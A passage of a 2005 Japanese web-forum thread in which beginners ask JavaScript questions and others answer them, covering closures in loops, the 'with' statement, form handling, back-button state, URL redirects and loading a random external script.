433 名前:Name_Not_Found 投稿日:2005/10/20(木) 10:14:36 ID:???
>>429
その IE が 5.5 以上なら、ActiveX を無効にして試してみろ。
「ブラウザでは onerror とか出ます」状態になるから。
つまり、ブラウザ分岐と同時に、エラー処理も入れた方が良い。
逆に、filter に try catch などを書いているサイトを見たことがないから、
それらサイト作者の IE は常時 ActiveX 有効なのだろう。酷い実態だ。

434 名前:Name_Not_Found 投稿日:2005/10/20(木) 10:17:20 ID:???
>>431
その「画像」はどこにあるんだ?自分のページに入っているのなら
少なくともHTMLで「ファイル名」指定してるわけだよな…
まさか、任意鯖のページにある画像をクリックして情報取得したい
とかだったら、最近散々出てるように「無理ぽ」。
>>432
そのcookie_spec.htmlはテンプレに入れた方がいいかもねえ。

435 名前:Name_Not_Found 投稿日:2005/10/20(木) 10:57:05 ID:ntHHo6tC
まったくもって初心者で申し訳ございません。
目指すものは「スクロールしても常に同じ場所についてくる画像+テキスト」なのですが
複数ページに設定することが想定されるので、外部「****.js」ファイルの呼び出しという
形で、
ttp://myako.net/migilink2.js
かつ
ttp://ako.x0.com/java/movetsource.html
かつ
ttp://www7.big.or.jp/~jawa/
を混合して
・画像は右上
・ついてくる速度可変
・バウンドしなくていい
・表示する際にフェードインしなくていい
・画像表示も外部「****.js」ファイル呼び出しで、各ページのコピペは最小限
というものを作成したいのですが、アドバイスいただけないでしょうか。

436 名前:Name_Not_Found 投稿日:2005/10/20(木) 11:17:30 ID:???
>>435
頑張れ!

アドバイスってこんなのでいい?

437 名前:Name_Not_Found 投稿日:2005/10/20(木) 11:21:44 ID:???
>>435
Advice --> ぐぐれ! そんなの世界中に腐るほどある。
>>434
画像の更新年月日とサイズは取得できるの?

438 名前:Name_Not_Found 投稿日:2005/10/20(木) 11:30:56 ID:???
>>431
// もしローカルの話であるなら、WSH スレにでも行ってくれ。

ファイル名の取得:
例えば、location.pathname.match(/[^\\\/]*$/).toString()
で得られる文字列がファイル名そのものに一致する、みたいに、
確実な手がかりがなければ、ファイル名そのものは取得できない。
URI にファイル名がそのまま使われているとは限らない。

サイズの取得:
http://msdn.microsoft.com/workshop/author/dhtml/reference/properties/filesize.asp
または、XMLHttpRequest#getResponseHeader("Content-Length")

更新年月日の取得:
http://msdn.microsoft.com/workshop/author/dhtml/reference/properties/fileupdateddate.asp
または、XMLHttpRequest#getResponseHeader("Last-Modified")
因みに、
http://msdn.microsoft.com/workshop/author/dhtml/reference/properties/filemodifieddate.asp
は、たぶん、キャッシュの更新年月日だと思われるから、注意。

// 当然ながら、Content-Length も Last-Modified もサーバが出していなければ取得できない。

439 名前:Name_Not_Found 投稿日:2005/10/20(木) 11:55:46 ID:hvR3hBLe
すいません。天文のサイトで、太陽(画像)が
真ん中にあって、その周りに惑星(画像)が回
転しているページを作りたいと思っております。
SVGとかいうものを使ってできるというアドバイ
スを頂きましたが、よくわかりません、という
かサッパリです。どのように書けば宜しいので
しょうか。というか、申し上げにくいのですが、
率直に申し上げて、ソースまるごとまるまるを
希望いたします。
誠に勝手なお願いでお手数おかけいたします。

440 名前:Name_Not_Found 投稿日:2005/10/20(木) 11:57:47 ID:???
>>439
そういうスレじゃないから。地道に勉強してね。さいなら。

441 名前:Name_Not_Found 投稿日:2005/10/20(木) 13:13:59 ID:AFDA5kcM
ブラウザの「戻る」ボタンを押して戻ったときに
javascriptを自動的に再実行する方法はないでしょうか
現在、次のような構成で悩んでます
○画面1:
テキスト入力欄(html)。
プルダウンメニュー(javascript)オプション値をテキスト入力欄(html)の値を元に動的に生成。
ユーザーさんは、テキスト入力欄を入力し、自動的に出てくるプルダウンメニューの選択肢を選択して
送信ボタンを押して画面2へ遷移。
○画面2:入力確認画面
ユーザーさんは項目を確認して、だめなら戻り、OKならcgiプログラムへ情報を送信する。

問題は、ブラウザの戻るボタンを押すと、
画面1のテキスト入力欄(html)は、送信した値がそのまま保持
プルダウンメニュー(javascript)は、初期値に戻る(「〜を入力してください」が表示)

今は苦し紛れに画面1でテキスト入力欄にonmouseoverしたときに
(どうせユーザーはテキスト入力欄を再入力するはずだから)javascriptを再実行するように
してますが、なにかうまい手はないでしょうかー
 ようは、画面2から戻ったときに画面1で入力・選択した項目を保持したいということなんですが・・・
ブラウザの戻るボタンをおしたときに自動的にjavascriptが再実行されないということではまってます。
それさえできれば、
1.画面1でメモリ空間上にページ番号(1)を発行する。画面2に移動したときにも(2)を発行する
  画面1は常に読み込まれた最初にページ番号をチェックして、ページ番号1でないときは、javascriptを
  実行するようにする
2.クッキーを画面1で発行する。画面1はmetaでリフレッシュするようにする。
 画面2から戻るときは、クッキーをよんで値を再セットする。
とか考え付いたんですが、
方向性としてあってるのか不安なので、なんかいい手はないでしょうか・・・
一番いいのは、戻るボタンに反応するイベントハンドラがあることなんですが、
onunload,onloadとかだと無理っぽいみたいなので・・・

442 名前:Name_Not_Found 投稿日:2005/10/20(木) 13:34:31 ID:???
>>441
メモリ空間上のものはページをまたがって保持されないから、方法1で
ただしページ番号をクッキーに保管するのが一番素直だと思うよ。
ただ、ブラウザを終了しない限り「最初」には戻らないのでどうするかね。
画面1へ行くためのページをもう1個用意してそこで番号を1にするとか?
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN">
<html><head><title>???</title>
<script type="text/javascript">
function test() {
var a, num = 1;
if(a = document.cookie.match(/value=([0-9]+)/)) num = Number(a[1]);
document.forms.f0.elements.t0.value = num;
document.cookie = 'value=' + (num+1);
}
</script>
</head><body onload="test()">
<form name="f0" action="#"><p><input type="text" name="t0">
<input type="submit"></p></form></body></html>

443 名前:Name_Not_Found 投稿日:2005/10/20(木) 13:49:55 ID:???
>>436-437
・゚・(´Д⊂ヽ・゚・あがとうございます。
がんばります。

444 名前:439 投稿日:2005/10/20(木) 14:29:04 ID:Ss4b3fLC
SVGってどんなものですか?
検索したら銀行関係の用語とか。トホホ

445 名前:Name_Not_Found 投稿日:2005/10/20(木) 14:34:54 ID:???
つIT用語辞典

446 名前:Name_Not_Found 投稿日:2005/10/20(木) 14:46:54 ID:ntHHo6tC
URLの取得についてなのですが、
location.pathname でホスト以下の全パスが取得できますよね。
そのうち、何階層目かのフォルダ名のみを取得することって
できますか?

447 名前:Name_Not_Found 投稿日:2005/10/20(木) 15:13:07 ID:???
>>446
性器表現でヌく

448 名前:Name_Not_Found 投稿日:2005/10/20(木) 15:26:36 ID:???
>>446
location.pathname.split("/")[何階]

449 名前:Name_Not_Found 投稿日:2005/10/20(木) 15:30:10 ID:???
>>446
stlip()して[θ]を切り取る

450 名前:Name_Not_Found 投稿日:2005/10/20(木) 15:32:11 ID:???
あち。ぬかれた。

451 名前:Name_Not_Found 投稿日:2005/10/20(木) 15:42:51 ID:???
θってもしかしてアレのマークだったの?知らなカータよ。

452 名前:Name_Not_Found 投稿日:2005/10/20(木) 15:44:09 ID:???
>>444
どっかにSVGスレあるよ。その状態で行っても叩かれるだろうけど。

453 名前:Name_Not_Found 投稿日:2005/10/20(木) 15:59:41 ID:ntHHo6tC
>>447-451
どうもありがとうございます。
447はそういう意味だったのですね。ウホッ・・・

454 名前:Name_Not_Found 投稿日:2005/10/20(木) 16:17:18 ID:???
動的に正規表現文字列を作る方法を教えてください。
動きませんがイメージ的には↓なかんじで、
受け取った引数をからめて正規表現文字列をつくりたいわけです。

function searcher(forRegExp){
regText = forRegExp + /[0,1,2,3]=.*/
strObj = strObj.replace(regText,'test')
alert(strObj)
}

455 名前:Name_Not_Found 投稿日:2005/10/20(木) 16:22:51 ID:???
>>454
「new RegExp(文字列)」だ!!! どこを探したのか書いてみろ。
我々は人間マニュアルじゃないんだぞ。

456 名前:Name_Not_Found 投稿日:2005/10/20(木) 16:35:26 ID:???
>>435
やりたい動きのソースがあるんなら、必要なとこだけ抜き出して
自分でアレンジすればいいだろ。
そこまで人に押し付けるのは自分がまったくJavaScript理解できてないか
怠慢なだけ。コード1行づつ地道に理解してけ。

>>440
今日の回答者君はなんか冷たいねぇw

457 名前:Name_Not_Found 投稿日:2005/10/20(木) 18:44:40 ID:???
当然の事をした

458 名前:441 投稿日:2005/10/20(木) 18:54:28 ID:AFDA5kcM
>>442
ありがとうございますー
>メモリ空間上のものはページをまたがって保持されないから、方法1で
あぁっやはりそうでしたか・・・

>ただ、ブラウザを終了しない限り「最初」には戻らないのでどうするかね。
コードまで、丁寧にありがとうございます。
・・んーそうですね。
ページ1でページ番号にnullをぶち込んで、ページ2で
1を代入するとするとか・・・またいろいろやってみますー
ありがとうございました。ガンバリマス!

459 名前:439 投稿日:2005/10/20(木) 18:58:24 ID:08QXBZPp

>>457








460 名前:Name_Not_Found 投稿日:2005/10/21(金) 03:05:57 ID:???
window.open() でできる floating window のことを日本語では何ていうのかな?
「別窓」 「新しいウィンドウ」 「サブウィンドウ」 「子ウィンドウ」 「独立ウィンドウ」 どうもしっくりこない。
そのまま直訳だと 「浮き窓」 なんだけど聞いたこともないし。 誰か知ってる?

461 名前:Name_Not_Found 投稿日:2005/10/21(金) 07:36:25 ID:???
ここでは「別窓」が多いね。

462 名前:Name_Not_Found 投稿日:2005/10/21(金) 08:28:04 ID:???
windows板にでも逝け

463 名前:Name_Not_Found 投稿日:2005/10/21(金) 08:53:19 ID:???
統一してどうする

464 名前:Name_Not_Found 投稿日:2005/10/21(金) 09:24:25 ID:kWr0JfJ/
質問です。
function名と配列の名前との関係がよくわかりません。どう考えたら
よいのでしょうか。よろしくお願いします。

465 名前:Name_Not_Found 投稿日:2005/10/21(金) 09:54:40 ID:???
>>464
関数名も変数名も同じglobalオブジェクトのプロパティになるので
同じ名前を使うことはできない。だから同じにならないようにすれ。
配列名というものはなく、単に普通の変数に配列オブジェクトを入れて
いるだけ。

function test(x, y) { return x + y; }

var test = function(x, y) { return x + y; };
とはほぼ同じ。下のと
var test = new Array();
とは同じ変数名だけど入れているものが違う(関数オブジェクト
と配列オブジェクト)だけ。

466 名前:Name_Not_Found 投稿日:2005/10/21(金) 10:25:49 ID:bWnpTAI4
質問なのですが
JSPで10個あるチェックボックスに幾つ
チェックされてるか調べて、
その数(count)をservletで
受け取りたいのですが、どうすれば宜しいでしょうか?

function check(){
count = 0;
for (i=0; i<11; i++) if (document.form.elements[i].checked) count++;
alert(count+"個チェックされています");
}

467 名前:Name_Not_Found 投稿日:2005/10/21(金) 10:32:13 ID:???
0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10
計 11 個。

468 名前:Name_Not_Found 投稿日:2005/10/21(金) 10:37:35 ID:???
>>466
サーブレットに渡す方法ったら、フォームのデータとして
提出させるか、「?」の後ろにくっつけて渡すかじゃないの。
数値1つだけなら後者が簡単でいいような気がするけど。

469 名前:466 投稿日:2005/10/21(金) 10:38:39 ID:bWnpTAI4
>467
申し訳ありません
javascriptを使い始めたばかりで
今まで、HTMLで入力された値を
servletでgetParameter()で受け取っていて
その方法だとjavascriptで生成したcountが
取得出来なくて悩んでいます。。。


470 名前:Name_Not_Found 投稿日:2005/10/21(金) 10:40:43 ID:???
>>469
http://pc8.2ch.net/test/read.cgi/php/1117584540/

471 名前:Name_Not_Found 投稿日:2005/10/21(金) 10:53:01 ID:q+hM+Uw3
デリヘル ヴィーナスに元アイドルが・・・

472 名前:Name_Not_Found 投稿日:2005/10/21(金) 11:17:32 ID:???
>>469
根本的に勘違いしてるんじゃないの。HTMLで書いたものは
サーバ上にまだHTMLがあるときにサーブレットが受け取って
処理できるからそれでいいんだけど、JSはその後HTMLが
ブラウザに送られてから実行されるんで、サーブレットは
動作し終わった後だろ。時間を遡ることは不可能でしょ?

473 名前:Name_Not_Found 投稿日:2005/10/21(金) 11:31:06 ID:???
、、、なんかJSPとサーブレットを勘違いしてるかもスマソ

474 名前:464 投稿日:2005/10/21(金) 11:45:24 ID:???
>>465
ありがとうございました。

475 名前:Name_Not_Found 投稿日:2005/10/21(金) 15:51:19 ID:BYLQVjkG
複数のcheckboxを使っているフォームをspanのonclickで代用することは可能ですか?
できれば方法を教えてください。よろしくお願いします。

476 名前:Name_Not_Found 投稿日:2005/10/21(金) 15:57:29 ID:???
>>457
わかりやすく。

477 名前:Name_Not_Found 投稿日:2005/10/21(金) 16:11:33 ID:???
>>475
>>2 (2), (6)

478 名前:475 投稿日:2005/10/21(金) 16:43:52 ID:rpMqU848
<form id="***" action="@.php" method="post">
A1<input type="checkbox" value="A1" name="ID[]" id="checkA1" onclick="act_A(1)">
A2<input type="checkbox" value="A2" name="ID[]" id="checkA2" onclick="act_A(2)">
B1...
</form>
今こんな感じになってるんですが、すっきりさせる為にcheckboxなしでやりたいです。

479 名前:Name_Not_Found 投稿日:2005/10/21(金) 16:48:01 ID:???
>>478
A1とかA2とか書いてあるところをラベル要素にして、チェックボックスはdisplay:none;

480 名前:Name_Not_Found 投稿日:2005/10/21(金) 17:00:45 ID:???
じゃばじゃば……じゃばじゃば……

481 名前:Name_Not_Found 投稿日:2005/10/21(金) 17:11:39 ID:???
475の言ってる意味がまだ理解できないヲレはやばいのかなw

482 名前:Name_Not_Found 投稿日:2005/10/21(金) 17:24:06 ID:???
>>475
spanのonClickでイベントを起こす。

指定しておいたIDを持つスタイルを変更させる。
(innerHTMLで値を書き換えるなど)

getElementById.styleで返した値から処理を分ける。

というのも可能。


483 名前:Name_Not_Found 投稿日:2005/10/21(金) 17:47:28 ID:???
>>472onloadでもう1度送るか、イベント時に送信で済む罠

484 名前:457 投稿日:2005/10/21(金) 17:48:45 ID:???
439の「ソースまるごと」に対して
440の「そういうスレじゃないから。」は
当然の対応でしょと言ってる

485 名前:456 投稿日:2005/10/21(金) 18:03:48 ID:???
そういうスレじゃないから
→さよならは冷たい。
頭来てると思うが、もう少し諭してやろうよ・・・


486 名前:Name_Not_Found 投稿日:2005/10/21(金) 18:35:36 ID:???
42.+ JavaScript の質問用スレッド vol.39 は、まだか。はやくたのむ。

487 名前:Name_Not_Found 投稿日:2005/10/21(金) 18:46:14 ID:???
>>484
底へ行くと、ホレ氏はエライね。それに匹飼えおまえときらら、
まるで小役人みたいだな。

488 名前:Name_Not_Found 投稿日:2005/10/21(金) 18:58:59 ID:???
>>487
ホレ乙

489 名前:475 投稿日:2005/10/21(金) 19:24:40 ID:???
>>479
ご提案ありがとうございます。早速やってみたのですが
visibility、display共に値をpostできませんでした。(IE6&firefox)
もうちょっといじってみます。
>>482
ご提案ありがとうございます。ですがごめんなさい。私には少し難しいです。
onclickで背景を変える。←ここは出来ます。
onclickで複数の値(value="ID[]")をpost。←ここが出来ません。

490 名前:Name_Not_Found 投稿日:2005/10/21(金) 20:05:37 ID:???
俺も >>475 の言ってる意味がわかんないw
<input type="hidden" 〜> にしたいのとは違うの?

491 名前:Name_Not_Found 投稿日:2005/10/21(金) 20:14:01 ID:???
すみません…ご教示ください。
イメージマップをつくり、9箇所のエリアを指定してそれぞれをクリックしたときに
関数lmchange()を実行させたいのです。その際にそれぞれ引数を0,1,2,3,…8というように渡したいのですが、
以下のようにすると、どこをクリックしても引数が9になってしまいます。for構文を使うことが誤りなのでしょうか。
for(i=0;i<9;i++){
jparea=document.createElement("area");  //areaオブジェクトを生成
with(jparea){
       shape=mapdata[0][i]; //配列mapdataには、shapeとcoordsに関する値が入っています
       coords=mapdata[1][i];
       onclick=function(){lmchange(i)};
}
maptag.insertBefore(jparea);   //maptagにはマップオブジェクトが取得されています
}

492 名前:Name_Not_Found 投稿日:2005/10/21(金) 20:21:36 ID:???
>>491
 >>215

493 名前:Name_Not_Found 投稿日:2005/10/21(金) 20:45:44 ID:???
>>492
ありがとうございます。しかし…
onclick=function(i){lmchange()};
とか
onclick=function(i){lmchange(i)};
とするということじゃないですよね。しょぼくて申し訳ないです…。

494 名前:Name_Not_Found 投稿日:2005/10/21(金) 20:54:57 ID:???
>>491
本題とは逸れるが、何よりもその with がおかしい。

function A() { }
A.prototype.v = null;
A.prototype.w = "";
A.prototype.x = 0;
A.prototype.y = undefined;
// A.prototype.z

var a = new A;
with (a) {
  v = [1, 2, 3];
  w = "www";
  x = 4;
  y = 5;
  z = 6;
}

alert( [a.v, a.w, a.x, a.y, a.z].join(" - ") );// 1,2,3 - www - 4 - 5 -
alert( typeof a.z );// undefined
alert( z );// 6

495 名前:Name_Not_Found 投稿日:2005/10/21(金) 20:56:40 ID:???
>>493
onclick = funciton(x){ return function(){ lmchange(x); }; }(i);

496 名前:Name_Not_Found 投稿日:2005/10/21(金) 20:59:43 ID:???
>>492
onclick=function(i){lmchange.apply(this,arguments);};
とするということでしょうか。しかしこれで試すと引数はundefinedになってしまいました…。

497 名前:491 投稿日:2005/10/21(金) 21:01:08 ID:???
>>495
すみません、レスが行き違ってしまいました…。

498 名前:Name_Not_Found 投稿日:2005/10/21(金) 21:02:02 ID:???
クロージャる感じ

499 名前:491 投稿日:2005/10/21(金) 21:10:44 ID:???
>>495
そのコードできちんと実行できました。本当にありがとうございました。
ただ、javascriptのリファレンス本を読んでもなぜそう記述するのかわからないままです…。
特に最後の"(i)"という部分など…。
申し訳ありませんでした。今後勉強を続けます。

500 名前:475 投稿日:2005/10/21(金) 21:12:06 ID:???
>>490
例えば100個の商品の中から欲しい物だけチェックして送信するような感じなんです。
hiddenだと全部値が入ってしまうのですが、チェックしない場合はどうすれば良いのでしょう?

501 名前:494 投稿日:2005/10/21(金) 21:15:33 ID:???
>>499
無視か。
うまくはいかないだろ。
このスレを Firefox で開いて次を実行してみろ。
javascript:with(document.links[0])onmouseover=function(e){document.title=[e.clientX,e.clientY]};eval()

502 名前:491 投稿日:2005/10/21(金) 21:23:58 ID:???
>>501
すみません。withの使い方がおかしいのでしょうか。
さっきのコードの場合、IEではうまくいくのですが…。

503 名前:Name_Not_Found 投稿日:2005/10/21(金) 22:04:51 ID:???
>>502
withなんか使わないのが吉。何回もガイシュツでそういう結論になってる。
だけど別に>>491 + >>495で問題ないと思うよ。
>>501
何がどうまずいのか言葉で説明してみれ。できないと思うが。

504 名前:491 投稿日:2005/10/21(金) 22:08:41 ID:???
くやしいのは、>>495のコードがよくわからないことです。
特に最後に(i)をくっつけるのがわからないのです。
これはjavascriptの問題であるだけでなく、DOMの問題でもあるのでしょうか。
javascriptのリファレンスを読んでみたかぎりでは理解できず…。

505 名前:Name_Not_Found 投稿日:2005/10/21(金) 22:14:12 ID:???
>>504
じゃあ解説してあげるよ。「function(){return x+1;}」
というのは「x+1を返す1つの関数」だよな。xに1や2や3
を入れておくと2や3や4を返すが、あくまでも1つの関数なので
xを変えたら返す値も変わってしまう。そこで
「function(x) { return function() { return x+1; } }」
という関数、つまりxを指定すると「x+1を返す関数」を返す
関数を利用する。これだと呼ぶたびにパラメタは別のものに
なるので呼ぶたびに新しいxが作られるわけ。で、
「funciton(x) { return function() { return x+1; } }(i)」
でiを変えて呼ぶたびにそのときのiプラス1を返す関数が作れる
わけだ。

506 名前:Name_Not_Found 投稿日:2005/10/21(金) 22:16:29 ID:???
>>500
全部hiddenかつdisabled=trueにして、チェックしたものだけdiabled=false
にすればよい。disabled=trueなものは送信されない。

507 名前:491 投稿日:2005/10/21(金) 22:37:40 ID:???
>>505
大変ありがとうございます。理解できているかどうかかなりあやしいですが…。
funciton(x) { return function() { return x+1; } }までが一つの関数なんですね。

508 名前:Name_Not_Found 投稿日:2005/10/21(金) 22:40:53 ID:???
>>507
その通り、そしてそれにパラメタを指定して呼び出すために「(i)」がある。

509 名前:Name_Not_Found 投稿日:2005/10/21(金) 23:17:15 ID:???
会社のASPプログラムの中で利用しているJavaScriptなんですが、
分からない部分があるので教えていただけないしょうか?
var cForm = document.ImportItem;とあるのですが、ImportItemというのは、なんなんでしょうか?
オブジェクト+ImportItemということはメソッドということになるのでしょうか?
それともどこかで宣言させている何かでしょうか?
これだけでは分からないと思いますが宜しくお願いします。
ItemCSVも同じようにメソッドなんでしょうか?

function CheckForm(flg) {
if (flg == 1 || flg == 2) {
var cForm = document.ImportItem;
if (cForm.ItemCSV.value != "") {
var str = cForm.ItemCSV.value;
var len = str.length;
str = str.toLowerCase();
var pos1 = str.lastIndexOf(".csv");
if ((pos1 + 4 != len)) {
alert("ファイルは[csv]を選択して下さい");
cForm.ItemCSV.focus();
return false;
}
}else{
alert("ファイルは[csv]を選択して下さい");
cForm.ItemCSV.focus();
return false;
}
}
with (document.ImportItem) {
action = "SubmitImportItem.asp?Flag=" + flg;
submit();
}
}

510 名前: 投稿日:2005/10/21(金) 23:43:45 ID:rvHrejrb
下記を含むURLの要求を受けた場合に、 
ttp://go.prjapan.co.jp/get500.php?(変則的なget変数)
下記のURLにリダイレクトすべくスクリプトを組んでみました。 
ttp://samurai-tribe.com/pc/

var homeurl = "http://samurai-tribe.com/pc/
var badurl = "http://go.prjapan.co.jp/get500.php"; 
var currenturl = top.frames.location; 
if (badurl.match(currenturl)){ 
top.frames.location.href(homeurl) 

<head>内に入れてみましたがうまく動きません。 
get500.php以降にget変数が入ってるのが厄介です。 
どなたかアドバイスをお願いします。 

511 名前: 投稿日:2005/10/21(金) 23:46:18 ID:???
ちなみにリダイレクトしたい元のURLの一例です。
http://go.prjapan.co.jp/get500.php?i=7817_170_4466_

512 名前:Name_Not_Found 投稿日:2005/10/21(金) 23:58:50 ID:???
>>509
ImportItem って名前の form があって
ItemCSV って名前の form 要素があるんでないの?

513 名前:Name_Not_Found 投稿日:2005/10/22(土) 00:03:39 ID:???
>>510
match() でなくて indexOf() 使ってみたら?

514 名前:Name_Not_Found 投稿日:2005/10/22(土) 00:25:47 ID:???
>>512
ありがとうございます。
明日、会社で調べてみます。
たしかにそんなフォームがあったような気がします!!

515 名前:Name_Not_Found 投稿日:2005/10/22(土) 00:32:50 ID:???
>>503はビジーですか?


516 名前:Name_Not_Found 投稿日:2005/10/22(土) 00:56:08 ID:zmAjp+eE
type="text/javascript" と language="JavaScript" のちがいを
わかりやすく教えてください。
間違えると、どんな弊害がありますか。

517 名前:Name_Not_Found 投稿日:2005/10/22(土) 01:09:13 ID:???
"人種" と "言語" の違いくらい違う。
違いなんてのは調べる気になればすぐでてくること。
調べもしないなら盲目に type の方使っとけば今後も考えることなく使えるでしょう。

518 名前:Name_Not_Found 投稿日:2005/10/22(土) 01:10:44 ID:???
>>510
> badurl.match(currenturl)
逆じゃね?

519 名前: 投稿日:2005/10/22(土) 01:13:47 ID:???
>>510
>>511

>>513さんのアドバイスを元に修正してみましたが、やっぱりうまく動きません。
http://go.prjapan.co.jp/get500.php?i=7817_170_4466_

var homeurl = "http://samurai-tribe.com/pc/";
var badurl = "http://go.prjapan.co.jp/";
var currenturl = top.location;
if (currenturl.indexOf(badurl,0)){
top.location.href(homeurl)
}

自分なりに調べまくってみましたが、原因はindexOfはfalseを返すのか不明な点です。
どなたかアドバイスをお願いします。

520 名前: 投稿日:2005/10/22(土) 01:17:44 ID:???
>>510
>>511
>>519

>>518
var homeurl = "http://samurai-tribe.com/pc/";
var badurl = "http://go.prjapan.co.jp/";
var currenturl = top.location;
if (currenturl.match(badurl)){
top.location.href(homeurl)
}

これでダメでした。

521 名前:Name_Not_Found 投稿日:2005/10/22(土) 01:33:48 ID:???
つーか、top.location参照できてるかシンパーイ

522 名前:Name_Not_Found 投稿日:2005/10/22(土) 02:18:15 ID:???
.htaccess は使えないん?
あと indexOf は見つからないときは -1 を返すので if (〜 != -1) とかって使うぜ。

523 名前:kaoru 投稿日:2005/10/22(土) 02:37:03 ID:7fKNDTik
はじめまして。
スクリプトでショッピングカートを作ってお店を開こうとしていたのですが
テストではメールが届くのに、
いざお客様が注文を出そうとするとメールが送れないそうです。
というか、送れたように見せかけてこちらに届きません。
それはこちらが使用しているメールアドレスのせいなのでしょうか。
それともプログラムのせいなのでしょうか…
テストでは何も問題なく動いています。
自分で調べられるところまでは頑張ったのですが
もうどうしようもないので聞きにきてしまいました。
教えていただけると本当に助かります
よろしくお願いします!!

524 名前:Name_Not_Found 投稿日:2005/10/22(土) 03:36:19 ID:???
>>523
実際にメールが送れてるのなら、向こうが悪いんじゃ?
向こう側が迷惑メールを自動排除してる可能性とか。

525 名前:もぐ 投稿日:2005/10/22(土) 03:46:43 ID:???
質問させてください。
<TABLE>内のセルにあるテキストにマウスポインタを合わせると別のセルに画像が表示されて、離すと消える方法を探しています。
更に、クリックすると別窓が開いて画像が拡大表示されるとうれしいです。
<FRAME>を使わずに<TABLE>内でやりたいんですが、どうしたらいいでしょうか?
教えてください。
よろしくお願いします。

526 名前:Name_Not_Found 投稿日:2005/10/22(土) 03:58:40 ID:???
>>523
悪いことは言わない。
その知識で通販したら身を滅ぼすよ。
楽天とか基礎が出来てる場所借りたほうが安全かも。

527 名前:Name_Not_Found 投稿日:2005/10/22(土) 04:06:25 ID:???
>>523はカレーにスル

>>525
やってもらえたらいいですねw



528 名前:Name_Not_Found 投稿日:2005/10/22(土) 05:38:59 ID:???
>>525
マウスポインタが乗るセルのtd/thに「onmouseover="乗った時の動作"」
「onmouseout="外れた時の動作"」「onclick="クリック時に動作"」
をつける。内容が取り代わる箇所にはdivを入れてIDを振る。内容の変更は
「document.getElementById('ID名').innerHTML = '変更内容のHTML'」
窓開くのは「window.open('URL', '_blank')」。これで自力でできない
なら向いてないからやめとけ。
>>520
if(top.location.href.indexOf(badurl) == 0) {
top.location.href = homeurl;
}
こんなのも自力で調べられんのならアンタ向いてないよ。

529 名前:Name_Not_Found 投稿日:2005/10/22(土) 07:25:03 ID:???
「onmouse」「DOMイベント」「getElementById」(getElementByTagName)
「innerHTML 」(createElement・appendChild)「window.open」等のキーワード
>>1過去スレ全集→検索GO
とその前に>>2-3要熟読。

530 名前:もぐ 投稿日:2005/10/22(土) 07:37:08 ID:???
>>527
>>528
>>529
ありがとうございました。
ヒントがわかりましたので、やってみます。


531 名前:Name_Not_Found 投稿日:2005/10/22(土) 08:30:27 ID:3Ec33/et
質問です。
以下のサイトからCSSの切り替えスクリプトを落としてブログに設置しました。
ttp://www.akatsukinishisu.net/wiki.cgi?CSS%C0%DA%C2%D8%A5%B9%A5%AF%A5%EA%A5%D7%A5%C8

で、これにデフォルトで付いているno styleという選択肢を削除したいのでが
どうすればよいでしょうか?

532 名前: 投稿日:2005/10/22(土) 10:19:31 ID:???
>>510
>>511
>>519
>>520

http://www.dream-seed.com/pukiwiki/index.php?MISC%2F%A5%D5%A5%EC%A1%BC%A5%E0%A4%CE%B2%F2%BD%FC%CA%FD%CB%A1

ここの方法で下記のように解決できました。
皆さん有り難うございました。

http://go.prjapan.co.jp/get500.php?i=7817_170_4466_

533 名前:Name_Not_Found 投稿日:2005/10/22(土) 10:48:02 ID:???
質問なんですけれど、
<script type="text/javascript" src="test.js">
の、srcの読み込む外部ファイルをランダムすることはできますか?

HTML内に書かれた関数名は同じでも読み込む外部ファイルが変わって動作が変わる。
という事を実装したいと思っています。
何か方法などありましたら、よろしくお願いいたします。

534 名前:533 投稿日:2005/10/22(土) 11:10:02 ID:???
自己解決してしまいました。
スレ汚し、失礼致しました。

535 名前:Name_Not_Found 投稿日:2005/10/22(土) 11:20:18 ID:???
>>503
>何がどうまずいのか言葉で説明してみれ。
494に書いてある。

536 名前:Name_Not_Found 投稿日:2005/10/22(土) 11:22:35 ID:???
>>503
501を試せば分かる。

537 名前:Name_Not_Found 投稿日:2005/10/22(土) 11:28:18 ID:???
>>503
あー、分かった、503 は、
IE: alert(onload)// null
FF: alert(onload)// エラー onload is not defined
であることを知らないんだ(笑)
まあ、せいぜい頑張って回答しつつ腕を上げてくれ(笑)

538 名前:Name_Not_Found 投稿日:2005/10/22(土) 11:36:57 ID:???
>>533
その自己解決した解答も書いておいてくれ

539 名前:533 投稿日:2005/10/22(土) 11:42:56 ID:???
<script type="text/Javascript">
<!--
var url = new Array();

url[0]="test1.js";
url[1]="test2.js";
url[1]="test3.js";

document.write('<script type="text/javascript" src="' + url[Math.floor(Math.random() * url.length)] + '"></script>');
// -->
</script>

これでどうにか動作しました。
どうも失礼致しました。

540 名前:Name_Not_Found 投稿日:2005/10/22(土) 11:45:45 ID:???
>>538
switch (Math.floor(Math.random() * 3)) {
case 0: function f() { .. } break;
case 1: function f() { .. } break;
case 2: function f() { .. } //break;
}
みたいにしたか、
ttp://game.gr.jp/mag2p/2/loadjs/loadjs.htm
あたりを見つけたか、あるいは、安易で最悪の (だが一般的な) 方法として、
function f() {
switch (Math.floor(Math.random() * 3)) {
case 0: .. ; break;
case 1: .. ; break;
case 2: .. ; //break;
}}
みたいにしたかのどれかだろ。

541 名前:533 投稿日:2005/10/22(土) 11:59:27 ID:???
>>540
そんな手がッ
もしかして539はまずかったりしますか?

542 名前:Name_Not_Found 投稿日:2005/10/22(土) 12:13:25 ID:???
>>541
べつにまずくない。気にするようなことでもない。
ただ、責めるわけじゃないが、SCRIPT要素の内容で「</」はCDATA区間終了という意味を持つ。
HTML SCRIPT要素の内容として直接書く場合、<\/tagname> のようにしなければならない。
ただし、このHTML仕様よりも賢い解析がされているから、「</」が問題無いことも事実ではある。

// 間も無く Firefox1.5 (ECMA357-1) が出るので、XML コメント、HTML SCRIPT要素型に関する注意書き等は
// マニアックに頭の中で整理しておかなければならないし、気付いたら指摘した方が良いだろう。

543 名前:Name_Not_Found 投稿日:2005/10/22(土) 12:40:11 ID:???
>>494>>501
>>491のwithの何がおかしいのかわからん

544 名前:Name_Not_Found 投稿日:2005/10/22(土) 13:08:45 ID:???
>>539
だが、このdocument.write(.....)はどこに置くつもりだろ。
ま、<HEAD>セクションなんだろな。でも。。。

545 名前:531 投稿日:2005/10/22(土) 13:56:17 ID:I+m3znpi
すみません>>531お願いします。

/* スタイルを適用しない時の選択肢名 */
var nostyle = 'no style';

ってのを削除してみたんですがちゃんと表示されませんでした。

546 名前:Name_Not_Found 投稿日:2005/10/22(土) 13:59:29 ID:???
>>543
